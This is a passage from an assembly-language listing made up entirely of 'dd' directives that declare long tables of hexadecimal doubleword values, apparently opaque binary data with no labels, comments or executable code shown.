99930D50h, 0E4C8AB3Ah, 0BAD2B1EEh, 5847B2F8h, 0F2D0CF49h dd 8592BB4Ch, 0AD8502C6h, 0E8984EE0h, 2E354606h, 0D41168Bh dd 0CE912449h, 824AED68h, 0B2AA0079h, 9892D022h, 0B210FAADh dd 9A0A317Ah, 0C0703161h, 0D37A980Ch, 28F59ACFh, 0E25BB31Dh dd 0D14B9266h, 0ED85C593h, 78085A5h, 0B70685E4h, 4D28E80Eh dd 4CB649A4h, 0BA5A5727h, 79100944h, 7A6498Eh, 67FFC23Dh dd 0E887DB3Eh, 9329F5E5h, 0D92B903Eh, 0CE65F970h, 0A165501Eh dd 0A3C0BADh, 0E05EBF97h, 99C5479Bh, 0FBF257B9h, 7CB9C7h dd 30E2B440h, 47FEFD2Ah, 60DA0AA5h, 340E5CF3h, 6350C0DBh dd 0C274116Dh, 1661B558h, 70FB1C41h, 66F2C391h, 69A437FCh dd 19DB606Dh, 19F4B9B4h, 0C606A88Fh, 40ED1845h, 0DA5EE567h dd 7DFC1F9Dh, 7693CBB0h, 0FFCEC248h, 316BF1F2h, 0C69B8213h dd 0FF1CDCA0h, 0CE17BE6Fh, 42F7175Ah, 8A461054h, 0E9E203DFh dd 8999A54Eh, 9D1E6F65h, 69C29AD1h, 254493F6h, 39BE7910h dd 0E7E20CB4h, 0BBA46528h, 9FC54E3Eh, 0B58D63BCh, 0A278DBB4h dd 2A177F5Fh, 0B1BB54BEh, 72622F47h, 1228B98Bh, 5F091412h dd 77DBDEB3h, 97B9BE8Eh, 37C8202h, 11DED4F4h, 4775E75Dh dd 1D77B8EFh, 86203581h, 763C503Ch, 0C3676486h, 0E253331Fh dd 0BEE04B12h, 84F29B5Eh, 5A8DACF7h, 0ED8ACF76h, 0F518B85h dd 0C14D3EDBh, 5B1ECA6Ch, 0AF171641h, 0C8AC49ECh, 0C82FB32Dh dd 304066B8h, 0F242D850h, 9A371F13h, 0B9FEDD43h, 690F877Fh dd 0D8E41BABh, 0F7C68FE3h, 0F3EBC102h, 0AEF925FEh, 484320B4h dd 1210A3F7h, 0A3DDCFB0h, 216DAB74h, 19BA055Fh, 0BFCE8C11h dd 0FFFB5ABBh, 812735E0h, 0B6C94200h, 0BE2B8D4Ah, 2AE7CCBEh dd 1135384Ch, 0BE6FB995h, 0ACB3052h, 4E57700Ch, 4D243A2Ch dd 2748916Dh, 639A9820h, 63BDF900h, 73C83C83h, 0B8FC11BDh dd 0FBBC516Eh, 0E10631C9h, 0F7472259h, 786AC4F9h, 32B41AC1h dd 58A862D6h, 3476288Dh, 7F33D387h, 0DEF7F7A0h, 2025257Fh dd 2CEA54C0h, 0F1359FCFh, 0BF8AB8CFh, 0F225B350h, 6FF5A4E2h dd 0D4FF3C46h, 3709AD45h, 0C1EF0587h, 5EC58030h, 0FB70ECADh dd 0E5578697h, 6A8D8694h, 71FA4AE0h, 7973EE29h, 25E10EF2h dd 4B3B122Dh, 0BE59FA4Dh, 0F20E1789h, 75ABD9A7h, 77ADE083h dd 9DF30751h, 52398C8Eh, 0FF6A79CBh, 3CF77D41h, 7AC9291h dd 0D351C0CAh, 0CD391D82h, 72C98FA9h, 4511B62Ah, 0EAB37F98h dd 0C1745823h, 20E3F9DCh, 5DDFBEA9h, 674F931Fh, 0DCA1C7BAh dd 21159C21h, 9E32F3ACh, 0C7AF3ABBh, 0BCD96856h, 0AE01E564h dd 0AD394362h, 0C252B676h, 0BD49A13Ch, 904CA94Eh, 807905F0h dd 1435D431h, 9127FD3h, 84C1A4D8h, 0AD483C8Dh, 0C61E91F9h dd 37762CA7h, 34AB1ADFh, 39544D9Bh, 2981B886h, 8BDC9FF7h dd 999ABBE3h, 0A650E603h, 2D2F772Ch, 416B7129h, 0C3A25D02h dd 0B006D1C7h, 4A98D22Ah, 0C36899D0h, 0F03A241Ah, 0ED7A6583h dd 0A9913D7Bh, 769186DDh, 0B9BCC387h, 1E82A9CEh, 0CE72E66Dh dd 9445D0D9h, 87AFD46Ah, 0C829A724h, 0C2CDB388h, 288AEBFAh dd 3DFBD857h, 84E2D6E2h, 438ABC7h, 36173219h, 8E345CA6h dd 0DB026B77h, 125351F3h, 0E3091C93h, 0E0E73B45h, 0E319D455h dd 94D48342h, 445E176Ch, 4C7EF9CCh, 0F768DE16h, 0E0D1417Dh dd 0D297A36Ch, 69EEB79h, 0AD6CEA79h, 1E1D254Eh, 0EB84A9Fh dd 0BADB2427h, 0CB58A9E2h, 94A017E0h, 0B48760B0h, 3D116C04h dd 1084F6B7h, 41B48C4Bh, 97AB24AAh, 0AF4AC3E2h, 5B03098Ah dd 5C2961B5h, 0B1C2A8E2h, 0CD137A4Ch, 0E8F55911h, 2F0CDC0h dd 9AB07612h, 31565D46h, 23FC2461h, 98EFFFB5h, 6222207Bh dd 18328080h, 0E3BE4241h, 0D85819C7h, 0D8DEB2DDh, 0CA135924h dd 0EB918C5h, 0A122ED18h, 79B3339Bh, 3DCA2C7Ch, 24AFFAF9h dd 81301D4Bh, 0F0E15D11h, 0E05C1C13h, 0DFF297B7h, 0A28FC4EFh dd 0DDE667EEh, 0DEADCFC6h, 3B1157F7h, 5BB683C8h, 0D7272404h dd 31A69556h, 0D2A7C9E9h, 0A02295D0h, 0F70A25BEh, 0D7030597h dd 14491A33h, 500F9035h, 83FFE55Ch, 2223E5C8h, 8A55B905h dd 3FA1604Fh, 95293EB5h, 4056CF8Dh, 5DBEFAEAh, 7F24DBEBh dd 6F9E78C1h, 0CA62EF13h, 0EE63C3BCh, 0B75C8E81h, 2618A801h dd 6B962988h, 0FA0A6149h, 0E7FF6E1h, 0E1320F89h, 61B9F130h dd 0CD3C58A6h, 62882E47h dd 9DB86AFAh, 1AB85FA6h, 0D33AAFB5h, 855570F8h, 4C42ACEBh dd 3D267209h, 0BE2993BDh, 0D012CEBAh, 4F31E732h, 459F627Bh dd 47A2366Eh, 0E1294138h, 4A41F462h, 3020114Ah, 0FA4864C4h dd 0A964472h, 0EA1C43C8h, 0DB5F3B42h, 0DE9DF140h, 0EF4366D2h dd 587DBB17h, 2C88D83Ch, 5D02185Fh, 0CFA38C57h, 40D68C25h dd 0D6F87581h, 1A777FA9h, 6CD3FC9Ch, 615E30B9h, 3615ACA7h dd 71337C55h, 5788A387h, 54041E6Dh, 0EFFA9DC3h, 456B1566h dd 0F8B3C09Ch, 80A0182Dh, 0EF0FD99h, 54F797FEh, 0D1D97932h dd 0BD6365F7h, 7A409860h, 0AC486F9Dh, 0D934087Bh, 82AA98D6h dd 4E2D2965h, 4A63CE35h, 77DBA6EEh, 6DC09478h, 27EEF4B6h dd 9D6C8393h, 0D47805DFh, 0D02794B1h, 732FA5C3h, 9C3907E7h dd 0A2C486E7h, 0F6186E63h, 323B2971h, 3B52028Eh, 0E42E6A2Fh dd 2AA55424h, 71CA5762h, 26822F32h, 4064B5CFh, 0B7F9AA8Fh dd 0D7BB3A3h, 0C686BF39h, 0A6B4BE78h, 2D348075h, 0BEE33B9Ah dd 88D6EC8Fh, 211D9D75h, 0B2CA4033h, 7E147091h, 0FD139772h dd 2A0E6BB2h, 3424BC5Bh, 84FF1A6Dh, 34B6E29h, 2857F70Bh dd 0FA2D2DB5h, 6969D961h, 0AB0021C1h, 0ACBDD9EDh, 9739494Eh dd 0BA32FCF2h, 0CCD6A0D6h, 0B5671C6Bh, 0A1C074A7h, 0B46A6C75h dd 0A92150A7h, 0B9177793h, 0EAD0DA12h, 8996E97Eh, 3930730h dd 5C50B5D5h, 0B17693E6h, 0A64ABCFAh, 11541938h, 64CA5297h dd 0BBD305C1h, 26A20C27h, 0C6397AC2h, 0E1A668D0h, 0FC27F96Fh dd 630A2026h, 9013BDDBh, 74D7669h, 0B5658BF9h, 3C647CF8h dd 752D2290h, 84C6B24Eh, 0F32714DDh, 9C7D4A69h, 80352AA2h dd 1DC44827h, 9B07DAC3h, 0B7E978A1h, 26A0A933h, 1785559Ch dd 0EBAD5F57h, 76C3D3E3h, 552A7D15h, 40D10FC9h, 85472CD6h dd 0A41C5608h, 7581A29Eh, 6281B339h, 0E3E3F3B5h, 3402152Fh dd 95102052h, 0F22D9902h, 0AAC37DC0h, 303D24BCh, 0DFDE5C7Ah dd 0ED8EFC63h, 5353D186h, 749BD706h, 78F1AE6h, 1A578876h dd 0A06E8C32h, 0F0AEFBE1h, 0F9583B76h, 6A450509h, 40F8F373h dd 0BD32CDB5h, 0EFCF8CCCh, 22D41525h, 1EA8D954h, 0EC6A4BC4h dd 0A26AABF1h, 0FF8F99F3h, 0D8DD5F57h, 0FD075637h, 0EEDA5CFAh dd 2D6F1547h, 0D3D6EDE1h, 1A54D0F8h, 20342470h, 752204DDh dd 0DCC64D95h, 86E82D9Fh, 71669E33h, 0F4A9E0CDh, 53189C66h dd 5497B0C1h, 4EB1E7E5h, 0C38D6B7Ah, 4B95D16Eh, 54E979E8h dd 88276B35h, 5799C07Fh, 0FBF5E918h, 0CF092B34h, 1CFCD2D3h dd 0A1934F3Eh, 0E5BEA480h, 0BF13D647h, 0B430F5ECh, 7EFCF40Fh dd 0AB7FB1C7h, 0BC0A57FAh, 6E98C9Ch, 9D278657h, 0F074A9F9h dd 0D55755D5h, 1F8580F5h, 0CD83FEB6h, 92BBEFEEh, 0D6F44847h dd 740A8B7Eh, 5FA82E2Dh, 6D5C9130h, 790BD4AEh, 85EAB50Eh dd 2521E56h, 0BB0484CCh, 8622BD45h, 3A0FD0BBh, 0CBB7A979h dd 0A82FA12h, 9696AD81h, 6D0B90CAh, 0A7459766h, 667405EFh dd 0F86428CFh, 0B7D6F9C0h, 33A02F3Fh, 7B7E7E15h, 2D0AF50Ch dd 91DFF41Fh, 630C2BA4h, 0FA4658D6h, 35DEA5CCh, 4D5494FCh dd 8242BE03h, 5D73720Ah, 0EE4998D4h, 7CD690AAh, 7EAED8B3h dd 0C3ECEF29h, 0EFB53BABh, 76ECA37Ah, 21500F35h, 0C19F6460h dd 0CA27C060h, 46F1A14Fh, 7BF611D7h, 4FCF6B73h, 13D462E6h dd 2060AB35h, 5CC4565h, 0B4A944AAh, 0C5FEF0F8h, 0A360D98Fh dd 43453840h, 4638FC86h, 0E01CBE22h, 0F895809Ch, 7897DF0Eh dd 1FE204AEh, 0FC076EC2h, 0C2D5E145h, 8D6867EEh, 0F7138F63h dd 0A8A0D23h, 94C092F0h, 9F87BFD8h, 0A312DC1Ah, 0A17F2647h dd 8991A6CDh, 600C74F9h, 7B06B2F1h, 87088FB5h, 0D28BE449h dd 9B657792h, 0E02011B7h, 27DF51Ch, 0D272E476h, 488EF3E8h dd 8429EC30h, 9AB98F83h, 6DD257FBh, 43FCEA76h, 2DC2C7A9h dd 0ABD1C130h, 0B6C98F5h, 4BAC9688h, 0D5D3C663h, 0C5B3E3FBh dd 2A8764E5h, 0F229EB49h, 119A2D19h, 2B008BBBh, 0D527018Ah dd 0CD9DACEEh, 0A816A30Eh, 69CC9430h, 0F3240CB4h, 0C4066D25h dd 7D62E5DAh, 1BFCABC5h, 0AF0AED12h, 0B3992339h, 0C287BF4Ah dd 0B3BB4B2Eh, 608F6564h, 0F11A149Ch, 0F507CCDh, 0DB199C4Eh dd 0D55A2577h, 147AA3B7h, 5740F82Eh, 49A4D66Fh, 0CA2F31FFh dd 0F892C929h, 0EC62B5FAh, 0B2CE266h, 0C503DF1Ch, 3AF237E7h dd 0CB2EA433h, 0FB764C1Ah, 0E0E3736Ch, 44978231h, 9B5DF671h dd 5F14003Bh, 9540548Bh, 3F41BFBAh, 6A420C1Eh, 938939FAh dd 0A0E28AC7h, 0CD34CCA2h, 0BA0FB349h, 9F4490D5h, 683AB84Eh dd 0B9186292h, 0C53451A5h, 3270C705h, 0DA2774ECh, 944F9FB2h dd 5ED0978Bh, 20A03759h, 41011D04h, 0BE714F6Bh, 40214F46h dd 462F060Ch, 7DC93A02h, 0D6168907h, 0D9AB2CA2h, 55F3D551h dd 724EC9C4h, 4B648B08h, 6042FF7Ch, 0E9C9144Dh, 3A941D38h dd 2E2A6C8h, 668B7680h, 120FF2A7h, 0DEC03AF0h, 8708B0B5h dd 8C2B1656h, 0A6C98520h, 418199h, 0E10877B5h, 0A0AF3812h dd 22835932h, 3DA80E82h, 9B968B06h, 3212CDEEh, 7BB27CADh dd 3EF843E4h, 3F9D3658h, 0A24896B3h, 0FFFA441Ch, 0A19839CFh dd 0BAA4BFB8h, 4005AEB9h, 0CF8050C8h, 0AE7D2608h, 4FEEFE6Eh dd 8A0D4385h, 8EA80452h, 0A9D0A17Ch, 30014E50h, 8B05309Bh dd 227EF3DDh, 6D0407B3h, 0EC1C77A6h, 0E6E1B488h, 0F7D1C97Bh dd 0A10EE663h, 0D33657E8h, 38E855Fh, 0DCDE63D9h, 221135C2h dd 3A680006h, 7D3A86C4h, 0B3E1ABFCh, 0AF2C47F2h, 8A41F4EDh dd 5FECF3A3h, 0CA04EC9Ah, 0F0CC8345h, 357CEDBCh, 86545065h dd 2FD1C55Bh, 0BE7926D3h, 6DD634CBh, 0DCA9E756h, 98073169h dd 0D7722CC7h, 729BF503h, 6D4C28CFh, 1443767Eh, 93E3C3EFh dd 2FD95AFDh, 0CB6E1D8h, 9F31FA27h, 2858C381h, 2C1C5888h dd 9BC3DCE6h, 0CE9BC8A6h, 0C892BAAAh, 0D7E0D005h, 0DD07A12Eh dd 92382D20h, 0DED7B449h, 0F708BEE4h, 109ED12h, 0DCA69BF3h dd 3C8570A2h, 0D0DE926Bh, 8327C7E4h, 0EB5CA063h, 7E36A41Ah dd 4C507ED9h, 2ADB3EBh, 7A3FAA31h, 642C944Ch, 0A066BEF6h dd 1ED32797h, 2864F23Dh, 54247170h, 2F5834A9h, 0D9D55A29h dd 0BC4AE684h, 336EAD03h, 4C7C7EB6h, 991FBC23h, 0CE04B17h dd 46AF7E23h, 5EA466C8h, 6FE40342h, 9937B7C4h, 0D801A400h dd 1DBD469Fh, 6170746Fh, 612E1BC4h, 2729B6A6h, 0B3D3F0F6h dd 58F1AEh, 7D5B471Ah, 0AA6DBF10h, 0C31196DBh, 5381996Eh dd 0C49CB9DAh, 0C38B7AC4h, 798EB26Eh, 452A484Ch, 20010F25h dd 378A326Fh, 0D290183Eh, 1F9E3B0h, 0DE0B618Fh, 58E2F186h dd 638A0C3Ah, 3D90EB73h, 65B9B07Bh, 0F2E692EEh, 382805F6h dd 7AFBDC22h, 6D2C3239h, 166E2330h, 0DBFF2E54h, 0A6538CFBh dd 0F82A4476h, 0C422A284h, 0D944744Eh, 42A79109h, 519A17DEh dd 0A44B1031h, 0D5C53118h, 547EE6D4h, 56FCF8FFh, 4EFD2275h dd 3D1E3C9Ch, 0F2AAFA2Ch, 49351EF3h, 9166BC2Ah, 1DDCEBA8h dd 6312105Eh, 509F34E2h, 1FCC4D05h, 5AA01AD3h, 0B58B5C7Eh dd 286481A5h, 3D3A79C8h, 25DBCCDAh, 0BD494B2h, 0C098D729h dd 73AC88B1h, 58D0465Fh, 42C7C48Dh, 5A1FC8CBh, 400F5C3Eh dd 0C1462A13h, 3A9E9440h, 0D06889F9h, 9554D057h, 0F76728A1h dd 6932A3E7h, 15451290h, 47004160h, 0F39BBE62h, 4DDE45ECh dd 2CF153BDh, 6DC68EE1h, 6F4E6F9Ch, 0F4E456DCh, 3920273Fh dd 0BF32549Fh, 0F5F01832h dd 2A7BC647h, 1E615EFBh, 43F5F2CFh, 23F130EEh, 0ABCAE563h dd 3FE4697h, 1C1EA8ABh, 77A0F66Ah, 2F44E5E5h, 0DE8DAD76h dd 8064BAE0h, 302B3AB5h, 6BF9B905h, 527C2C3Dh, 8FAF6772h dd 8FF9B4EAh, 0F47286D8h, 0D7F8985Ch, 5E55CFBAh, 8B21E4A2h dd 9FCF42BBh, 6E5F39FFh, 907280D5h, 4490B034h, 0BDA84E57h dd 72F5FFBh, 273CDC5h, 530A86A7h, 0A4CBA2A3h, 4844B710h dd 0AE0A0C73h, 84F55753h, 4DB844E3h, 172B6E8h, 6443009Eh dd 964E5606h, 52AC84E8h, 532AD96Fh, 31ABFEFh, 956D2C76h dd 0C2FABFB3h, 90043DDEh, 423C6CBDh, 0C6EDDD93h, 0DB4150BEh dd 4397EC78h, 0A5A6F2BDh, 0CFD0C8E6h, 0B72BC42Dh, 0BFCA7765h dd 0C584BD35h, 4EFABE4h, 8CEB22FBh, 354FB535h, 782C8D26h dd 546C314Dh, 31114E91h, 23AD87B9h, 263CA3A7h, 0DC0CC3DBh dd 0E8CCADE6h, 0FF2374h, 74CE6E2Fh, 0C02CA927h, 7475EBCCh dd 788E062Eh, 2ACA9A9Fh, 0B023AC15h, 9A5BD9C4h, 0E6D8C06Fh dd 72205E29h, 2D5B6079h, 74DDA835h, 3F3D4C83h, 0D8CC046Ah dd 32E86B4Dh, 0C94BCF30h, 0D66B4813h, 0DF79DF14h, 62203740h dd 33428D00h, 78F5595h, 2CD2E178h, 79005A85h, 2FA8CEA7h dd 0BB23D68Ah, 0FA2AE099h, 5F8CDDE4h, 0C45AB51Bh, 0F4EE2FF4h dd 6209B68Dh, 0AE4DCC4Fh, 0B19792D4h, 914F1FF6h, 0CEABFC65h dd 0F44EFB00h, 0BFEB5F7Eh, 0D7D6A33Bh, 47EE4A58h, 0A537F95Dh dd 0F9303397h, 58DB840Dh, 79958282h, 91201F99h, 909B0B51h dd 62968C4Fh, 0F7417960h, 9184109Eh, 3E08B815h, 761BFDE4h dd 12E8C8C8h, 0B4B379E4h, 0F279D59Dh, 0A9B0918Eh, 8AB58C26h dd 4694EC95h, 0EDC53B5Eh, 15858AE5h, 43F51B8Ch, 7852080Eh dd 0D98681Ch, 0CCC7DC12h, 6F61441Dh, 1EA9C0F9h, 24902DA6h dd 3E3C793Dh, 9C3EBF20h, 0D63B0E2Bh, 4A59BB0h, 0FAD3997Ah dd 0CA031CCFh, 0EC7A53AFh, 72E42FE3h, 1ED99D7Fh, 9A0B6D60h dd 0DE258254h, 9901D33Fh, 0E067CBD5h, 0C56B6B26h, 0FEA38ED5h dd 4476C1Bh, 96B7B7h, 8BBE66F4h, 22F3163h, 473BD3C7h, 0E09E34D7h dd 4CD623Eh, 0E44B0DE7h, 8FD65B0Fh, 82F434C9h, 0D0D472Ch dd 0CDC31270h, 0A0FC99C3h, 4F79EB48h, 0A38751F1h, 2B905DE3h dd 7E01E33Fh, 3B7BC10Bh, 0CDA84656h, 3FDD6075h, 5EFF8437h dd 7B59DC4h, 309FAF05h, 171AAAFAh, 0DD3C96F5h, 93380732h dd 0EDA94342h, 9CE5B73Dh, 48B05158h, 0BB098394h, 68F08D6Bh dd 0B5792A53h, 0B36852B4h, 31343754h, 595475DFh, 47C4D35Ch dd 5C683DEDh, 33B670D4h, 8DC39929h, 1056A2C7h, 7EE9FFB3h dd 9A963DA7h, 0CFF68F04h, 926250C4h, 75E8620h, 0B35C3BECh dd 6258E46h, 404A5B62h, 81423D54h, 79248CD6h, 0DE30472h dd 0F0C52786h, 0F4A164DEh, 0DFF3B72Ah, 0B0560619h, 33220C9Eh dd 19FE148Ch, 55321ABBh, 23A29E37h, 0D8B73F2Bh, 9E8799D3h dd 2F849B2Eh, 0E51912F2h, 4EF87083h, 5D4CF438h, 339DE327h dd 32A35194h, 9BED4499h, 9E55000Fh, 22C87FBEh, 2551D9Ah dd 0A62CBAB0h, 23D0656Eh, 0DF1ADAA5h, 342A1C9h, 0F59216D6h dd 0B8987C4Ch, 0FEF4EFA8h, 9AFDC363h, 7ACC9C41h, 0C1093382h dd 838FC15Ch, 1F9D1565h, 0C226369Bh, 1DE91B3h, 0EB5319F3h dd 0BAFD5BFBh, 0F4F9BCDEh, 0FCAC637Fh, 0A11215F4h, 8D768CBDh dd 19DC305Fh, 30F9B8CBh, 0A2573800h, 0B9C8F220h, 0CF60B643h dd 0C9BE7941h, 48B610FAh, 66AD1922h, 163B4C57h, 0E5D3E14Bh dd 52612E2Ch, 731693D2h, 5AD22E59h, 0A8866950h, 0AF56E5CAh dd 0B12ACC3Dh, 0CEA67851h, 0BBBAF5A0h, 0B9D5B9E6h, 0F9B32850h dd 263CD7F9h, 39B4B731h, 8A9C35h, 1711D16Dh, 0F2BA62F6h dd 0DD7EB738h, 39EAEA48h, 0EF7ED686h, 6555883Ch, 5E6A3141h dd 3ACE30A3h, 23719E3Dh, 0EB01B1D8h, 0C90EDC9Dh, 8F83F0B1h dd 5C231388h, 0EC4E18DCh, 0FB4CA88h, 920812A8h, 17484399h dd 70E8BC2Eh, 0F8158E19h, 2FF6AF0h, 469C53FDh, 0B00C4178h dd 0ED44BF5h, 945D3978h, 51B85C5Eh, 299E0954h, 0A474D186h dd 4FC2109Ah, 6127EAA7h, 0ADD00A95h, 0FA774835h, 1A165635h dd 0D7ABBC3h, 0DD32FFD5h, 0AD6A29FAh, 0A5491154h, 0F1408CD1h dd 5C00C6D6h, 0E438975Eh, 539F2D57h, 1E6E5C90h, 0FACDF758h dd 7A13AD57h, 5092BE72h, 623121CCh, 0FFD3BB51h, 587BD7C2h dd 8D5031E4h, 6F2A2EC9h, 62584784h, 56DDA4D5h, 6304DB24h dd 422954F6h, 2BEA9E70h, 0FFE9743Dh, 7AD11AF0h, 0F98BEF30h dd 0F0449DF1h, 0B3FFEEA6h, 19311092h, 0AC92F8D5h, 1638023h dd 0AFDB51F8h, 0A8960CD2h, 2C9421DCh, 66DA6AAFh, 6A06B3D8h dd 7BA14A0Dh, 0EA03BCDAh, 663A103h, 4A260D4Bh, 7045BEF8h dd 2E5DB564h, 9179EFABh, 639FCB95h, 0DC88178Fh, 56DBC1FAh dd 95818289h, 118C0B81h, 15245851h, 3E3830E6h, 0A640ECAh dd 37107609h, 846D862h, 0FA270C5Ah, 242B7F1Eh, 57204A64h dd 9EF981A5h, 0E5922D38h, 66DEAA7h, 0B5070DD1h, 0C74BF91Dh dd 0A321D6BFh, 18B0A0F0h, 441BEC32h, 72C56830h, 0E66353E8h dd 0D26AF797h, 0C64108A5h, 2C934B65h, 0C7130B09h, 0D3AA14C2h dd 904C8036h, 5F317F33h, 50F77822h, 259F9EEAh, 5E935813h dd 0A51F9A74h, 53BCB976h, 3DFB62EDh, 0C2F6FA12h, 0A6AB7C26h dd 896AB214h, 12CFE6EDh, 5519E699h, 0D01DF0BDh, 8DD9F7EDh dd 0C1DE7237h, 4FE256E3h, 0C2F0103Ah, 5CF54A06h, 0C9637B8Eh dd 0F90584ADh, 0A7A14995h, 2CB0322Fh, 0F27E415Eh, 78AC52CAh dd 114F8D21h, 9951923Bh, 0F009DBBBh, 2F82FAC1h, 0C287E457h dd 3B943528h, 7326DB9h, 67DD23ABh, 9E8522B5h, 6E3C7DE3h dd 6F804EB5h, 4D2CBE5Bh, 613AC805h, 0A5CF37C9h, 7F7E6883h dd 7A2F8F56h, 436197A0h, 0BDFF9750h, 86B1F490h, 0A1E4385h dd 0B92D7F12h, 45318C2Eh, 0C33E570Fh, 0B7331A8Bh, 0C32E006h dd 94349943h, 6EB2B595h, 8A0975D3h, 9007069Fh, 0B6D4F7C2h dd 4E7FC32Bh, 4F30F1E9h, 0EF154A55h, 31496782h, 0AAE5C28Fh dd 0C0858D20h, 0EC6DA262h, 89886872h, 804A654h, 0E3C92C77h dd 0CF7BB429h, 82F1918Ah, 37BECC32h, 0E236A1A1h, 0A5CF646Ch dd 661B53BCh, 8CEAF68Dh, 53834BDh, 0D0A8D44Dh, 0E1936DB8h dd 7F347D3Ch, 1EF68A3h, 56F1490Dh, 0D9893507h, 0F4AE0A74h dd 0BFF4849h, 37909C2Ah, 9438BE33h, 0E5D7AB33h, 0D07BAB75h dd 0CF57EAFAh, 0AB7C2361h, 842F150h, 0DAE3E682h, 53F85E10h dd 0B8E7232Ah, 0BCE164E2h, 0ABAAEAC4h, 47DC2543h, 272747A5h dd 7484A64Fh, 0F4599DC3h, 3B020C3Eh, 9F3C0058h, 0EBF3A638h dd 9F15B0D5h, 0B255EA7Fh, 8CB3CB6Dh, 0E0126FA5h, 0B6424887h dd 0E62BAA41h, 638AA686h, 3B1DF2BAh, 0FA2ADC9h, 0F5617824h dd 9248A3D0h, 4DDB5B8h, 9A61B76h, 40A80B07h, 1A9A906Ch dd 0BFA48EA1h, 81D0A64Fh, 0D37FC609h, 0F3C561DAh, 473ACFFEh dd 23D2A568h, 5CBDA76h, 0E31089Bh, 9FE8B852h, 15D116A3h dd 775DD085h, 0E881E1D8h, 49AD98F7h, 6BF40027h, 50F7E925h dd 69B50D35h, 64A35DAAh, 9C87E37Fh, 302CF1D3h, 70428159h dd 964B9FAh, 33ADF544h, 337B402Dh, 0DA453806h, 50837B0Bh dd 9CF4366Ah, 5722218Bh, 32B594C6h, 5BE2508Ah, 0D7E4A698h dd 746F319Ch, 467BF430h, 4B434395h, 0DB779B6Dh, 43595AEFh dd 67A73089h, 0AD77E150h, 2F5F78DEh, 0E564DCACh, 22270AA0h dd 0E1FA637Ch dd 7EAA31E2h, 1CD3B6F3h, 5AF047DFh, 6F31E4BEh, 5B7A6B9Ah dd 5DBE3723h, 4B6927D6h, 53F93553h, 1D63CA9Ch, 814349CEh dd 162E0476h, 36E66D35h, 64D01467h, 97B62113h, 58DE16F6h dd 0EB72CBB0h, 0A8D863ADh, 2EA4676Ah, 0C6349C43h, 0AE79741Fh dd 0BB8850C9h, 26189B4Ah, 0C9131B5Eh, 52CA4E86h, 24AB0D44h dd 74280888h, 0AA26DCD5h, 2C0E2D27h, 4285C6D3h, 0D74FBE0Ch dd 0DEC1324Ah, 2F7F4FE5h, 8BF02930h, 0CE7573B3h, 5336E2E9h dd 8C7BC426h, 5BB8268Dh, 7516A811h, 0B531532Ch, 432AAC85h dd 52FE90FEh, 1F701BA8h, 56511361h, 3E14620Dh, 41FE3345h dd 0A1399598h, 0EC4E3B16h, 9885296Ah, 0D183A3Ah, 0C1C9E5CDh dd 0DB7CCDD5h, 0DC052DABh, 599E73CDh, 0FC26D451h, 0A230731Dh dd 0F19A75E0h, 287F5612h, 670FFD3Eh, 35F57FF3h, 0F56FF5C6h dd 0FE3EFADFh, 4BE1D4CCh, 75AB988Ch, 356FE7E5h, 5CC19788h dd 0FF74146h, 6D6ECBD4h, 45A0B529h, 0BD322AE1h, 85FD9ADFh dd 1EC5034Ah, 0F838419Ch, 38358775h, 0D97E0828h, 0AD350AC6h dd 5585267Dh, 3C64C5FDh, 1C80535Eh, 0CF543DD9h, 0EEEBBB87h dd 2906F518h, 0E9BEA624h, 0F456DD2Dh, 5895ED32h, 90B3C041h dd 0F71A6BB7h, 12A2406Fh, 4FCBD993h, 0D6404809h, 0F6FE5B14h dd 3DF8F992h, 7B26F1EEh, 0D16B337Bh, 4FBCDBF0h, 9853F062h dd 1DA44DA7h, 74189BFAh, 290B81C1h, 1412D7B6h, 80BF8BCFh dd 0D57F5A07h, 95E13379h, 84781C8Ah, 0CF4622C4h, 0AD67F7h dd 0D10EAA70h, 94B0BDECh, 0D56F3CEFh, 7E8C0051h, 0E9E5C32Eh dd 0C00AAE66h, 36504C20h, 2CBE1397h, 0BE48533Ch, 96EDEA69h dd 2204EEF6h, 0A64E8CCEh, 0CD29D5FEh, 0BEBCE29Eh, 4B62FD82h dd 83AC2156h, 0BCE96797h, 1067FEA5h, 0A304B105h, 5F0B9C91h dd 0C8C150BCh, 77496C67h, 837FBDE0h, 0BF651677h, 61855062h dd 9049B8E2h, 1CA26359h, 0C55A5484h, 1C9383B0h, 23129AA4h dd 70BBF677h, 995695FCh, 75F0DFC2h, 0D4ADEC1Dh, 0E7355CA3h dd 31E317Ah, 0C3E2B973h, 0E04531DAh, 71FFD11Ch, 85BFE1A6h dd 33B10AA9h, 4A249EAFh, 0E1718D5Ah, 0DEFCFB5Eh, 0FE0B1C9Ch dd 6C5213A7h, 45F7395Eh, 353E0248h, 73785FBAh, 209F456Ah dd 9895B668h, 0EB17C331h, 36779F59h, 0B6199DBEh, 0E185CD22h dd 16EE0B8Eh, 8C3C4734h, 4732A3B1h, 0E6988183h, 292EB070h dd 0A5DEEDA8h, 47634444h, 0EFE6A459h, 0B6A38FAh, 0E06FC89Eh dd 4FE712D9h, 0A048E90h, 947C2E36h, 0D3878B70h, 0A9DC9A08h dd 2C0890DAh, 0EBA0DFC9h, 0F456D3AFh, 0C9315CB7h, 0FB60F11Fh dd 2CCA687Eh, 55263D0Fh, 0C24B32DAh, 0A274E1Fh, 28F2499Fh dd 5A996755h, 3C1410E3h, 933E47EEh, 3BAE4975h, 0FDAA808Fh dd 0EB821DE0h, 7C1B01ADh, 127AB35Ch, 33F195h, 53F881FAh dd 0A035BB0h, 653598FAh, 0B6C1DDAh, 81A22CF2h, 2E41F033h dd 0DCA75F79h, 709A50D4h, 245C8F65h, 0E328A167h, 9C43FFC7h dd 33A96579h, 5E948FAEh, 0D89B4809h, 65F839Eh, 1BCD26CCh dd 78AE4C1Bh, 400730E8h, 0E9580C0Eh, 0AF594FAh, 2A3CD6Ch dd 26EEC26h, 0A9498628h, 0ED99AF03h, 0B0D69708h, 2021Ch dd 0AA59D412h, 3F5BD654h, 130D8802h, 5BF172BAh, 52ABE7E1h dd 526929EEh, 95CF5351h, 432BC1FFh, 0FD3FCAADh, 775CF463h dd 4568B905h, 0EA4C045Bh, 51F90F74h, 9396C4E6h, 653AA88Ah dd 160AEC04h, 1B312246h, 2D7B57A2h, 8D9F474Bh, 7C3A68F5h dd 64B8C516h, 5174F268h, 0D0E20000h, 0BC4AB040h, 2B6ABE05h dd 0EB18FAF3h, 273D4390h, 2E648127h, 0F421DBB3h, 242D736Fh dd 1362EAB8h, 0BFD76B4Bh, 35049B0Fh, 36A76CC5h, 59809601h dd 0C26A87F4h, 9CD15182h, 0CD2C85DAh, 5242FC60h, 2B813CDEh dd 0DBB15569h, 